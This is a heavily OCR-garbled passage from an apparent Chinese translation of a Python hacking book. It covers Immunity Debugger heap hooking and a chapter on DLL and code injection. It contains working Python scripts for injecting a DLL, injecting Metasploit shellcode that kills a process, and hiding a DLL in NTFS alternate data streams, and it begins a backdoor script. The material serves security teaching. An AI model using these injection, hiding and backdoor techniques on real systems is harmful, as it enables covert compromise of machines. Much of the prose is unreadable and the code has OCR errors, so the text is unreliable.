A A28 P 1) e R H R PME RS, XA EETTIR FH 3. logBaseDisplacement() /5 i85 —
AR UL R — M LA B 25, e T AT LS R R (AR A A7 88 M3t
Hohb) FEOREEALE LN ARG vt . a4 ik logDirectMemory()H T 1E¥ iy
HRI R SRS AN N A ik b A .

FEAW FNSFeiah e, 52ZREM log MEUL S 2 il k, EMNSEHER
I EAE (5 G —47 T i FastLogHook X %% [T AL BC i — RN AF XS . 25 2 [ X
SerdEfa B, PRI PUME B —MERI e sh 2L getAllLog(), XA~ ek Ea B AT L
I P AE X SRR [B]— AN R TE K Python F13

[({ hook address, .( argl, arg2, .argN }),toesi]

M EoR BN R A HEE R — R EE I BR B RS2 R N, A Y 1) o 80 il s 3
K& FK, XAHUE#AT T hook_address 2, TMPRETERIDFR FRAEIEE B LL— 4
(tuple) I TE A # A7 T3 —Tih . 52 B & /2 Immunity Debugger &84t T 55— Ff R 1K)
fii¥y F——STDCALLFastLogHook, iX—#f )47k /7 X STDCALL M £ 5E it T
S XTI cdecl pRECH A2 5 AT 75 48 M8 ¥) FastLogHook B AT . 1X 5 F
AR O A SR e A 3.
) % e 71 A ) 38R K ) (¥ — AN 44481 {8 )& Immunity Debugger T ff)—/>44 24 hippie
[¥] PyCommand 7%, X/ PyCommand Hi3K H Immunity f¥] Nicolas Waisman(— {7 7F & !
P E AT A E R . H Nico B C.I0TE KRR
Hippie B H A EA T H# TR E—FEHENEBERATF, UA TEMTHR
win32 APIEREFE, X —KBEA KRB EGHEE A8 f $H|42, L Windows it
FEALH, THA-NRFAEFFH XA FELI LAY 4500 K 3t & K
RtlAllocate =t # i #{ RtlFreeHeap B8 . R F L4 m 1IE & WH/XHFHE
Fr, RREFARAPAAABLALERS, REFXNHFED 10 MK,

IE4 Nico By &, ATTATLLCKE hippie £ 24— S48 6 H941 -1 K g 5 AT o 4 o 0 34 48 4 5
FEA R AR DL, PR AR IX S HE A SCBIFR BOAT b 75 0 T-40 B3 T HERE H IR R B e m B,
A T ERAERZAE 7 (b iE, ATE A hippie ACHS IR Lo FMESM T, I b 42
Hith— ARG TR R ) hippie, AT THF HL 56 44 24 hippie_easy.py.

ERATITERAT, SEKFE— FEREL RilAllocateHeap 18 3 RtlFreeHeap )5 %Y, ¥4
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Bh 1B AT 1R s .

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,

IN PVOID HeapBase

)i

PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,

IN SIZE T Size

)i

FRATHs 4l 3K HE R F B FE RtlFreeHeap (1) T 7 = 4> 2 $ 1 L ﬁ'{, 170 % T HE 43 o A5 2
RtlAllocateHeap, Bk 7 HFTFA =/ H SN, BATIEKE 05 I B 2GR 9] (1 541,
AR B R FRE I 9 45 ) Bt (b . BLAE R AT Ffr‘}HliJII’HJ*%éLfJUrJ’fM I~ 1 1) 2
45T () Python 304, H4HAir 444 hippie_easy, JFHIA LI R4CHS .

hippie_easy.py
import*immlib
import immutils

# Nico 45 X/ MliBh R 0] il THRA S45E ret IHS MRS,
B TFEH Re 1Al locateHeap M4 iE HIEEH 15
©® def getRet (imm, allocaddr, max_opcodes = 300):
addr = allocaddr

for a in range (0, max_opcodes) :
op = imm.disasmForward( addr )

if op.isRet():
if ‘op.getImmConst () == 0xC:
op = imm.disasmBackward( addr, 3)
return op.getAddress ()
addr = op.getAddress()

return 0x0

# —M 5 KRR B T HW AT BN TR C % R R EEE E,
# BRBCK AT K H SR h ¥ Rt 1A11ocateHeap 5 Rt1FreeHeap [Hihl
def showresult (imm, a, rtlallocate, extra = ""):

if a[0] == rtlallocate:




5 1% 6] T#2J)F #9 Python % #2 2 ifi

imm.Log ("RtlAllocateHeap (0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s" %
(af11(0l, af1][1], al1][2], a[1][3], extra), address = a[1][3] )

return "done"

else:
imm.Log ("Rt1FreeHeap (0x%08x, 0x%08x, 0x%08x) %s" % (alll[0],

at¥lill . alillz}, extra) )
def main(args):

imm = immlib.Debugger /()
Name = "hippie"

fast = imm.getKnowledge( Name )
e if fast:
# MFRAMZATRE FO®T, NITESTRET
# W FRAESERSR
hook_list = fast.getAllLog()

rtlallocate, rtlfree = imm.getKnowledge ("FuncNames")
for a in hook list:
ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits. Results output to log window.® %
len (hook_1list)
# FERAT KT AT S AR

imm.Pause()

rtlfree = imm.getAddress ("ntdll.Rt1FreeHeap")
rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap”)

module = imm.getModule("ntdll.dll")
if not module.isAnalysed(}):
imm.analyseCode( module.getCodebase() )

# T SEA KRB O R
rtlallocate = getRet( imm, rtlallocate, 1000 )
imm.Log ("RtlAllocateHeap hook: 0x%08x" % rtlallocate)

# DRAFEER AT

imm.addKnowledge ("FuncNames®, ( rtlallocate, rtlfree ) )

# RN E S T




fast = immlib.STDCALLFastLogHock( imm )

# 7F Rt 1HeapAllocate WEMMEH T

imm.Log ("Logging on Alloc 0x%08x" % rtlallocate)
fast.logFunction({ rtlallocate )
fast.logBaseDisplacement( "EBP", 8)
fast.logBaseDisplacement( "EBP", 0xC)
fast.logBaseDisplacement ( "EBP", 0x10)
fast.logRegister( "EAX" )

# 7F Rt 1HeapFree LA ETH T
imm.Log ("Logging on RtlHeapFree 0x%08x" % rtlfree)
fast.logFunction( rtlfree, 3 )

# WAL
fast .Hook ()

# DRAF 4 X B LG T RRATR S B A R 45 R

imm.addKnowledge (Name, fast, force_add = 1)

return "Hooks set, press F9 to continue the process.”

FERAVEROX L “/NER” 280, kRS K H— FUE. /R %E8 BN 242 Nico
P i) — A B R 0O, & 11 TR A7 T HEBIFS RiAllocateHeap H 63 (1 FE 8 2 47 & .
AT WX B ARSI R X, B 1H5 %) e L RtlAllocateHeap E il %, HRREMESEH S
¢ TR

Ox7C9106D7 F605 FOO2FE7F TEST BYTE PTR DS: [7FFE02F0],2
Ox7C9106DE OF85 1FB20200 JNZ ntdll.7C93BS03

0x7C9106E4 BBC6 MOV EAX,ESI

Ox7C9106E6 EB 17E7FFFF CALL ntdll.7C90EEQ02
Ox7C9106EB C2 OCOO RETN OC

B SE AT B b ef B Sk B AL BT MR m AT AR 2, IR —d R HBIARBAL T
frihik 0x7C9106EB L[5 — % RET 54 . fEH9C58iX 4 RET 54— LB 1E %
0x0C Ji&, ) Jo (3R = R84 (M0 &, 1K BUEIRATT B 245 BI/E 0x7C9106D7 W 17 HuhikAb .
Z FT CAAE e B 9 — 3 P9 ) S B R O T W CR AE S8 S HH 2 88 10 2% () TR 5 F 1 K IMP
BEHEAR A . WA RATEEN IMP (5 £37K) 1548 T RET 3 F1K) #5422 b, B
JRA 1R 2 5 3 FOR A T8 G AR 24 ST SR Bl 30 20 1) T 5L /)N B A ke 35 B /R
Sed B ARM 8. 5 HEERIT A E  F AL BUR S R, ST ASE AR
IO F AT — AR AR .
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Python % 8 F——2 % 5 1# @ T#2JF &) Python % 22 il

PE KM —BACTE @ Ry Se i — AN, ki e eI A TE 2 50 R & i P R B AIIX
PAT. FXOARVIVIZITHES, XEREMNAEFROMESE, BRI TR
B O L. XA APIaEiT T EHF, MZENE—RETuET
P EEAE C RS R . W RARARLL A E X AR WX LT knowledge - BUA7fiff ) 238
A%, VRATLLE IS Immunity Debugger P ¥ — Python shell K5 [ E 11

e —MaRue WL TFHaESs -5 58NS T H> K6~
RtlAllocateHeap, F&AT 1Kl A7 T AR L T =42 B L K ek B0 F KR [BE . i
THER IS 72 RuFreeHeap, FATTH7EREUH P FIBF R IR =1k LS 8MEE. /R7TLLH
A AL 100 1T ) Python AR {E a] A FR AT 156 — AN sk KR C R 87, IF H R7EBRZ S0iF
25 0l & oAb AT T B RS F, X4t & —Fh iR B 1456 .

BRAEFATUE i C FF AR notepad.exe, LMETHZ5E— T4 3% Nico g A i) 4500 UK HEH
PR LTSRSk . /& Immunity Debugger FIN#FET C:\WINDOWS\System32\notepad.
exe, JFLEAT2F:PIAT Pycommand 7ir4 thippie_easy (PRAJIX— L BREA(LATSBE N, 1HE
B ES 5 5. WE AT HArdt I E I HAFE P IEFE File (3CF) > Open (FTFF).

AR RE WK —HF LA T, B KAT LR #) PyCommand, FRA*47] EA#E Immunity
Debugger [ H&E & 1 (ATL-L) & B WF3E 6-2 Frosif i N7 .

513 6-2: PyCommand #r<hippie_easy i 45 2

Rt1FreeHeap (0x000a0000,
Rt1lFreeHeap (0x000aC000,
RtlFreeHeap (0x000a0000,
Rt1FreeHeap (0x001a0000,
Rt1lFreeHeap (0x00030000,
RtlFreeHeap (0x000a0000,

0Ox00000000,
0x00000000,
0x00000000,
0x00000000,
Ox00000000,
0x00000000,

0x000calb0)
0x000cal58)
0x000cal20)
0x00la3ae8)
0x00037798)
0x000c9fe8)

BARBATEFOH RS T L5, R R B & — F Immunity Debugger [FRZ&
¥4, B R N IE R i b Rk A AT B dy H R BUR 4675, 3X B Nico
s ARE. RalCL 21247 LKA KA — N B get, o] LU BIRATEX —id £
k7 BT of B0 A AL A S AT AR AR L B SR, TXIE R HEIREIA
Ak

B 1 2 O RE M RTE H S B9 & Fpal w3 S P S B EOH BRI E R . ZEAR TR IR
ANMHE [ AR R T Wifa] N X o K HIHOR, it HIRA 1O R X —H AR M58 F e B AE 8 sh ikl
Az v, BEARAR T G o] i B ) 1 ke e 2 b M U HEFR AR R AT WA BT T8, T Il 2 i
K2 e i DLL 3 A BLRACES 3 AN B 3 RE . BT 1K TF 4 27 >3 ] 19 A ftb A (9 EFE 2
R IR, HERLF T g2
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charteR
/

£ 7% DLLEASKIEBEAHEK

AE—REOPHRELEZF P, KHFTEE2R—RASHRGEA—NZEZRRLP,
A AR, TP ATR LR, ARG EARRAERRMO ZHEM, £k
HARG R E oA L4, EA BRI AAFENAHER L @FFIR, £AFPRMNEEM
Python &) 3 — 2 T ALBp K A Sh 4R M S B i A R R 6 i EAH K. DLL EA 5K MEAN, X
BT AR BRAF—ALTFEE . RFAFMIEE . shellcode 4B E, ABRNZRMEXAR F &
BEKEPH—H5, BAHEGIRIE T T8 DLL iEAL R — AR Pl — A2 HEER
v, Z G RAEEA) AR EANF AR N K — T ARE PID 14 4 23 4249 shellcode. /s
AN R HRBIF—AN T LA T Python B8 EANFEF ST, IMRFERKAZE EIR
HTFREGEABK, FHAEAT —EUFHEMEE AR TREGEA KGR K, ik
FAV A L AL KA TS RAVRYEM, 452 Bk HAPEAF KRG EAIE A,

7.1 B FER R

DLL =AML N IX PR AR 2 Al fF A5 —Se AR X 5, 2R, XA sl 7%
HfiERR—RIER: O BEERE. Win32 REPHFEAE DTG EAMR API R
CreateRemoteT‘hrcad() A LA IRA e X — P8R, XA~ API R 2 & A kernel32.d11
T, HEBW R,

HANDLE WINAPI CreateRemoteThread (

HANDLE hProcess,
LPSECURITYATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,
LPTHREADSTARTROUTINE lpStartAddress,

@O X% T PR CreateRemoteThread 2 i, MSDN (http://msdn.microsoft.com/en-us/library/ms682437.aspx) -




Python & #§ F——2 %& 5 i# &) T 427 &) Python %42 Z il

LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId

)i

A BBIX — KOS G T E, 262 AT LML ER. '
Z 80 hProcess TEVRTE KM BUN AR T, IXANERE AN BT TR (] (B30 FE TR JRAT TR B 0T 1 B
LM PTE 2 M. 245 IpThreadAtrributes fH T 4 BUKF 87 8 (R 2 B 0 e WA TF, XAl
R ERER R EFTANEREAMERT TR iR R, AXERMATHILRAD
NULL fHEIRT, XK &34 R A T g 4k 2k 0 Hb B — B %4
HRFF . 2 RAIZE dwStackSize F1-T 4 BIVRE 61 ) 2 F2 1B AR 9 K/ AT R]RER L 5
HEE, LS QAR RSE DRI P RE N AEENS
¥ IpStartAddress, XNSHCHLRETRE TiREGFIWATHAE, 15552 IE06Hh ¥ & X A~ bk BL
fiff PR A2 B8 N (9 IR 358 4 A0 45 LA A B0 AT o« 82 F ORI — > 2 % 1pParameter JL 5
IpStartAddress [7] 35 X8 . 17 AT ARt 28R — N 4RE, XN RE N S35 W e 221
REMI N AFIX IR, XAMREF S AL RS BE B AE IpStartAddress R EE R AHZ2 8. X
eSS REVFIRR, HEMRIRPURSERIXNSEAENIT DLL FALRE S Bré
WS fa . 23 dwCreationFlags H T-H &M Es H, BATKHEIET #, X
B AT BT AR AR G 2 R B B 200 AT . /R AT LA MSDN 304 53k it 2 % dwCreationFlags
FIT SR () JeAb AT RO . Be 5 — N2 %0 pThreadld (1) HUEDHS 726 9726 F2 60 &t 52 4 56 B b
FHRN 2 S ID 18 -

FHIRAT 28 0 R BE N\ R AE (K 5 8 1 R %L CreateRemoteThread()A T — & [ T fi#,
M FRA PR 228 ] AN FE R 4 i DLL 5Bt shellcode, iX Py A # I’I’_I)\
PRGBS ASA], BATTRE 8 I 95 A S 1 2K 1) R 485 71~ 3 P 22 T] 1) X 5]

7.1.1 DLLFEA

DLL 7 A B ARAE G B 55 10383 9 0% 1 52 wh (1) 5 T 3504 A AS S0 7 s, o SR B O i 82
PRE R DLL #FATAEATE . MABLELENS (K) Windows #RM &4k T Bl umwwﬁnmn
BN NIRR AR, RIS TENS o7 ERIRATIK 516 S RB R, BE a4 i il
i yEAN DLL (7 AR I fE R B AT A . X T DLL AR A H RN — At
EBRATAT L — e i 52 i —BEHIB I S — DR Z P, R IX A RN -ﬁﬁﬁf
PAT. XEFKEGE FEWAEH, BERE S LBEERUEB KB EFEEN E, Bf
F LA N R RV G I AR RSB, I AR NI LN SE R FH R f”éufh
BEE— PP AT REIEFE . FRATE{EH Python 485/ DLL A%, X DLL 7EASL448 3477
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% 7% DLLEALBARBEAHR

fe i () AT R 2 (RS P E N —/> DLL 34

#7 > Windows #tFE A 2R A DLL SUHEEANFZH, MFEEMEH B kernel32.dll
T ) LoadLibrary R ¥, ibFRATRE — FiXA4~ API of B 5 A

HMODULE LoadLibrary (

LPCTSTR 1pFileName

)i

Z ¥ IpFileName H THRUPHZR NN DLL SCHFFTER B0, R IRAT 75 B ik Al
2R A LoadLibraryA, FFEL-—ME1M) DLL X2 AR B 8EHE M A 28
IEFRATT ) By BEAT 551 /2 i W7 HH BR 3 LoadLibrary A BT 7E M N fedthl, S ARNIFTAEEAN
] DLL 142 FK. fERATH] CreateRemoteThread()if, A1 A S ¥ IpStartAddress 1§17
API R % LoadLibraryA FTERIA7 E, 3F H % & IpParameter #1458 5 BATSE AT (R 47 FI¥) DLL
BT H . 24 Createremotethread() i 3§ 25| & LoadLibraryA #ifH, X#A oW
JEEFEERE B 5 R K LA DLL — .

FE: ATRREASEMARAEY DLL EAIH TALALHRLE F T,
& =T ¥AAK http:/fwww.nostarch.com/ghpython.htm F # 8 &4 ¢, | X A DLL A A A 69 R A 5L

TAAEZHRXTRI

DAL AT a6 FACS S, G — 448 /Y Python SCAF, ¥ H 4 4 dil_injector.py,
A LLF AR .

dll_injector.py

import sys
from ctypes import *

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( Ox000F0000 | Ox00100000 | OxFFF )
VIRTUAL_MEM - ( 0x1000 | O0x2000 )

kernel32 = windll.kernel32
pid = gys.argv([l]

dll _path = sys.argv(2]
dll_len = len(dll_path)

# RPE AR AW

h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:




Python & #§ F—— R % 5 1% &) T 42 )% &9 Python %42 2 il

print “[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit (0)

©® i b DLL BKA2FFF B 20— BN 745 1)
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len,
VIRTUAL_MEM, PAGE_READWRITE)

# 5ADLL BEFHS

written = c_int(0)

kernel32.WriteProcessMemory (h_process, arg address, dll_path,
dll len, byref(written))

# T APT PA¥ LoadLibrarya FT{ER A AEHuhE
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress (h_kernel32, "LoadLibraryA")

# BB P IERERE, BEEADAREN LoadLibrarya Fi{EHLAL,
# FHEL—MEF DLL B2 7R/ B 048 EHE A WE—R 28
thread id = c.ulong(0)

if not kernel32.CreateRemoteThread(h_process,
None,
0,
h_loadlib,
arg_address,
0,
byref (thread_id) ) :

print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)

print "[*] Remote thread with ID 0x%08x created" % thread_id.value

BATTHT B A2 BRO ML 4 B B34 N 1) DLL S 2 Be A2 9% 04 9 4745 6] T (R A7 M 2 1 %
i, HFHMXREFHAREMONFAPTANER AR SO, B WA) T M7
LoadLibraryA Fr{£ 1N fr it @, JXFEFRATE nT LAZE J5 4L 1) o6 %08 CreateRemoteThread()
FO fEEMHNAF A TR D S — BEMRRFEIF 2 )5, DLL X ¥ A |
PRIEFEZ P, PRI 2 31— AN X HEHE BB, IXUE] T DLL &8 T BARiEREZ .
LAgn 75 AT B AR «

./dll_injector <PID> <Path to DLL>
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% 7% DLLEASKAEEAK

AT sk AN RS2 8] ) R R T DLL A B K N R e B - AL
R AN TEHE R IX L 1 A U, (R AX AN S 2 LA R4 A X — BRI AR
Ji. FEiERARE S —FiE AR —ARISEA

7.1.2 KEEEA

HHETF DLL A, RISFEANEAER#EME EEl—8. AEEASER LRI —
WS BEFER AN —BURAG ) shellcode FFEIZIENAFH AT, XN LFHRIFASEMEN ¥
FAEM RS . HEARENE HERFFR G (post-exploitation) il R ALAEHE A AR K
¥ 2 shell N — N EREB D] 5 — RS

AT K — B4 5 () shellcode 150 ACHSE AFEA, iX B shellcode £ 145 i EE T H 5
Z 91 PID fllﬁf?ﬂ»{‘ﬂﬁf“ﬁmﬁf” XIThER] AAERA T 2w Rt R 2 J5 T AR SEIRAT
JiR 5 B B B AR 88 B 2R, DA 3R R () H 1. X S W S A R B 1R
il 1 A%mmmum&%%MA-O&M¢QMMmmeﬁ%mﬁﬁm&mmm¢
RN B, DLAEAIX B shellcode B BAFHEEIL —2, DL I M 2 AT Kk .

T IR R T A G5 R IR BE shellcode, FRATTHE EEi)j ] Metasploit (K55 H ¥
GLUASE IR P (AR O &F F 1) shellcode “Elia% . WIRRM AR L Metasploit, #R7] fEFS

fE http://metasploit.com/shellcode/#E b — P . EXANH i, BAAEHT Windows
Execute Command shellcode “E flias, XK=& 7-1 Fron i shellcode 10, HAHEM
AR ORI ba s - s o

53 7-1: B Metasploit 8910 B 38 2 A H A% B8 E B T HH2L 458 shellcode

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */

unsigned char scodel] =
"\xfc\xeB\x44\x00\x00\x00\xBb\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8Bb\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
*"\xac\xB84\xc0\x74\x07\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"Ax75\xe5\x8b\x5f\x24 \x01 \xeb\x66\x8b\x0c\x4b\x8b\x5f\x1lc\x01\xeb"
"\x8b\x1lc\x8b\x01\xeb\x89\x5c\x24\x04 \xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x6B\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\xB83\xc0\x7b\x50\x68\xef\xce\xel\x60\x68\x98\xfe\xBa\x0e\x57\xff"
"Axe7\xT74\x61\x73\x6b\x6b\x69\x6c \x6c\x20\x2f\x50\x49\x44\x20\x41"
"Axd1\x41\x41\x41\x41\x41\x41\x00";

1. #EE: XBEPHEN “WFRAHEH (post-exploitation)” BLiEfE AR & OB REEHINZ 51X —
FrBL, AREFIMESTEX B — B A SR,




Python & ¥ F——2 % 5 i¥ &) T#2 )7 &) Python % A2 X i

TEFEREA R, fE4H shellcode 281, iR T SCAHE Restricted Characters (K]
0x00 #7113 f# Selected Encoder #%1% & Default Encoder. . JiT A %21X Z i ) B i S 11X
B shellcode [ Ja BT 2, MARRAT DU BIBAE\x41 ELEHIL T 8 K. AT KEFEE A
SEMAES HEL? BBRE S, FRXEELENKGEE A ARAFRCH T PID {HE
shellcode AT 7ERL B, IXFE—RBLAE R (8 T 30 18) U X B UV e 0 B B R SR it
FEM PID {f, FF#A NULL IR R %500 . BAERNIER T shellcode 4ifih#§ (Selected
Encoder), W& G BUXECIELL) A A7 52 RN A a3, PRt B 3 3 7 5 B i s ol 40
SRR BT AR R AR, o LARAIE AT shellcode B i v 252 B 84

BESRBATF L COA 7 BT HEY shellcode, FRLELEIRAINIE b T4E Xk, #Hrat—4
Python 3, $§HAr# 4 code_injector.py, J4IALL R4S,

code_injector.py

import sys
from ctypes import *

# RATK AL AT RAT PR EALTT T, AR shellcode fERSTEN I

# JHACHT P9 AF B RS T

PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = int(sys.argv[1l])
pid_to_kill = sys.argv[2]

if not sys.argv[l] or not sys.argv[2]:
print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
sys.exit (0)

# /* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

shellcode = \
"A\xfchxe8\x44\x00\x00\x00\xB8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"Ax4EA\X18\XBD\x5E£\x20\x01\xeb\x49 \x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01 \xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1lc\xBb\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08 \xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\xB8b\x68\x3c\x5f\x31\xf6\x60\x56\xBI\xf8"
"\x83\xcO0\x7b\x50\x68\xef\xce\xel\x60\x68\x98 \xfe'\xBa\x0e\x57 \xff"




% 7% DLLEALKBEAHER

"\xe7\x63\x6d\x64\x2e\x65\x7B\x65\x20\x2E\x63 \x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c \x20\x2f\ x50 \x49 \x44 \x20\x41\x41\x41\x41\x00"

padding = - - Alen{rpid-to kil )
replace_value = pid_to_kill + ( "\x00" * padding )
replace string= "\x41" * 4

shellcode = shellcode.replace({ replace_string, replace value )
code_size = len(shellcode)

# BRI EE SR AR {E

h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int({pid) )
if not h_process:

print "[*] Couldn't acguire a handle to PID: %s" % pid
sys.exit (0)

# A shellcode 4t P FE%%a]
arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size,
VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# HA shellcode

written = c_1int(0)

kernel32.WriteProcessMemory (h_process, arg_address, shellcode,
code_size, byref (written))

# BEfE— R BRI BHEAEA D 538 M) shellcode [RIFR A7 &

thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread (h_process,None, 0,arg_address, None,
0,byref (thread_id)):

print "[*] Failed to inject process-killing shellcode. Exiting."
sys.exit (0)

print "[*] Remote thread successfully created with a thread ID of: 0x%08x" %
thread_id.value
print "[*] Process %s should not be running anymore!" % pid._to kill
XA A AR E ARG R N U IR B T, AR IR N 31— S8 H BT oA 8 B
BTy, B R RAEAE shellcode £ E[F)F4F B 08 4E @8 b 759 5 B4 340 By 2
RESMERER) PID . 55— NS5 2Z R0 DLL FEAARAE B3 5K 5 (fHh 5 76 T 30 198 F o6 3t
CreateRemoteThread()@® ¥ 775 I, Z4{ IpStartAddress 7FiAb4E M) shellcode [k A7 B .
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Python & ¥ F——2 % 5 i# %) T 427 &) Python %4 FL i

A 14 IpParameter #4 NULL {842 X% shellcode A BEBRAUE LA IS5, Ihibk
108 H br FE LR B AT shellcode iz T KA A .

R ik FR AR — F L XN A, B R BANMOLE emd.exe R, Rl R
K H PID {H, X#/ PID /K HAEBMIA code_injector.py IHATSE, W T Frox:

./ code injector.py <PID to inject> <PID to kill>

BRI E MRATS A Y, RN e LA 2] N gk oh it g CFE Y i e 2

ID ¥R Do (R IS PR IR £ 00 55 380l AR By 24 65 061 % (R B ™ emd.exe 3ERSE th b Y 75 B F

P ULIRNAZ SR T Wi A — B shellcode JFEEFEREFE AT T 14T IX B shellcode () /7

oo X HRAMBALEVRIR B R S FF Sz ) R ZE 2 shellcode I AEBY b — 22 71, [FIRNIX

-HAR LA B TR EE AR AAT R, PO TEEA ol R P AR JE 75 a) A P A7 AT AT RS . 3RATT

W aiE HarpreE M ani ] Tl — AT ARG TR, XA TR BRATFBEL
FRE BN FETT A IR R RADEANRCER R 2], HERE T2

7.2 BN

BRAE AL FRATTHE H AT T2 AR N H T B & &, BRI — MBI G
PR H I RFE AN GE P T 8T 30 . JBATNE T TR FEATE, ¥ EEhH
P A ELIEARBAT AR o AT ST G — AN HEERE (B an B BRAT AR EE ) FF Windows T )
RS, AT B QR ET IR P44 calc.exe LSEEAE, MR M calc.exe
KR 2 o QAR D, FATHRIX DB PAT I E E 7. — ELJRAT BT Eh R 145 1l
EFRRE ARG, Jo THERERE ) 3L AR LA IRATTE e — ANl 1 B AR =ML IEFE shell 3
. — HIXBFE AW shellcode iz AT, BATTRIATHAR o] H e 2 shell, #4514 28

IR ) EFERERRTE AR, X BACR R B JAT T R 8 24 00 FRATT A 5% B X A 2

PRV IE: ATATESR —KFEAN G AL calcexe BEFEIER AT, 2 RHXF
— T . FE EEsEt, HRRIE— AR TR T TR R R UL — T T
Y [ Dhe, BRBRAA 2R e HE T XA il 4 0 7 20K M AR E0R X — DB . ESERR
NS, VRIE] e G5 a 2 07 500 b BT 21 i 2 FE R 2 B R 38 31 5 35 53 3 1B
KEE—HKEFIFAERIEE . 75— WSS IR — R R 5 — N it
FIEBLREE, WA ERIEA AR & 5 EF .

B AN FRATTA K [0 VRS s TR Python JHIASSR 14— N ELIE 3L Windows a] #4473
1, VLR Gner 4 AT B35 A B DLL 3OS 8ATT G T TRE R 3T B (R 4R 46 . R Tk ik 3%
TR — T — A1 B 1 SCAF BRaRE /N B 75 2 an ] >k #5 Bh 3R A1/ DLL SCAF-58 % “HillE” 1.
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7.21 XHRRE

AT AT N DLL SCA-RESSIE R IRATA G TP 2t dt i Hbs R, BATHE

5 Bl — 26 SO A Bl B AR Kk B DLL SCAFIAT B . 8 A 4T B 8 Re X AN nT AT S & 9 —
— RSB R, AL BERIEATL AT R X8 E EA] Python K#EAT hack,
HIFRMNZKH —MEREMEE.

h TR SR R T AT AT SR 2, AR B NTES SO R /9 — st B
itk ADS (ATHEHE A . A B EHEHUX —HLH H Window NT 3.1 Bk CAF7E, e
ER SRR HFS (42X RS - Fulfs FBIMmgEs I . ADS RiFR17E—
ANWERE R SCOF R B (O T A AR E A A, enii— > DLL 3CfF . 3X B BT iR A 34 i
EGAE ,\mﬁ'iliﬁ T'EL (LIRS ;U*HI’J -Gk B SC A e .

i A A AL » FATATLME DLL X TR R EEEMT.
fEGZ b A T H rm‘.”ﬁa F, 1| ’s’.fﬁLHU" ik HEEF ) ADS Hih A2, X0 FRA1K
v IE 2B ACR . BEAMH B R 2 205577 i JF AR ADS U S B AR, PRk Bp A
RS abx ey T RMEEZ T, AR AH A K P2 S A .

i AR AP 13— SCAF AT B B L, P B 9 PR DSUASURE R A X PR R A SO S R 2
Jedm—AE5, W FR:

reverser.exe:vncdll.dll

2E R XM R A1 B 1) voedlldll, XA dil SCPEFE T AT40AT S reverser.exe
BT atr A AR b . IERATKREGE — AR50 TREA, £ /8 Fmde e ScHBrbre
ADS Jii R ER S N — . GUE— AN Python A, #H iy 4% 4 file_hider.py F-4i
AL A,

file_hider.py

import sys

# PEN DLL A E

fd = open( sys.argv([1l], "rb" )
dll_contents = fd.read()
fd.close()

print "[*] Filesize: %d" % len( dll_contents )

# ¥ DLL XHFAAESA ADS
fd = open( "%s:%s" % ( sys.argv[2], sys.argv[l] ), "wb"
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fd.write( dll_contents )

fd.close()

Eas (AR b B AT AR ) R A —— B D 2T 2800 TR e AT Fr 235U DLL
XA, B AT SR TR E AN H AR 3, BATEE DLL SO 13X 4N 304 B
PRHF () ADS EH o« FATT AT LAAR A AN TR B ASHORs AR EE 1Y) SO 4 B T3 5 W AT LA
(1 ADS o, Jf HEATAT LA E B AT ADS i i) DLL XAFRfEIEA WA . RS R
%5 00 Ja T IREF IR AN B DLL FEABOR, (EZ2BATHE I TP IR 2 01X — 4 ULIK
AR AT R

722 WMERI]

FATE RN ATR IO EE M T AT, BRITPEEE CRETNTREFERZ A calcexe, JHH
AT RN SLIE U S8 FET calc.exe BB HARAE . 291 F ol EE o 5 88 A2 0T,
WaREALEPIFBERMOENRT, EIIRFEE RTINS JOER S8, Ll
SR P RGE AR N, X IERBATE X — i BRRCH AT R E W R R T . AME
RN G T S 3 T a2 M A my_debuuger_defines.py, XL T
MO EBEROE R SHXEWEE L. 68 1 HK Python XM, B HGLN
backdoor.py F A LA FACHS.

backdoor.py

# SIATESR 3 FPFTEIEMIPE my_debugger_defines.py, XHEHaE
# THEGQET RN HS SR X

import sys

from ctypes import *

from my_debugger_defines import *

kernel32 = windll.kernel32

PAGE_READWRITE = 0x04
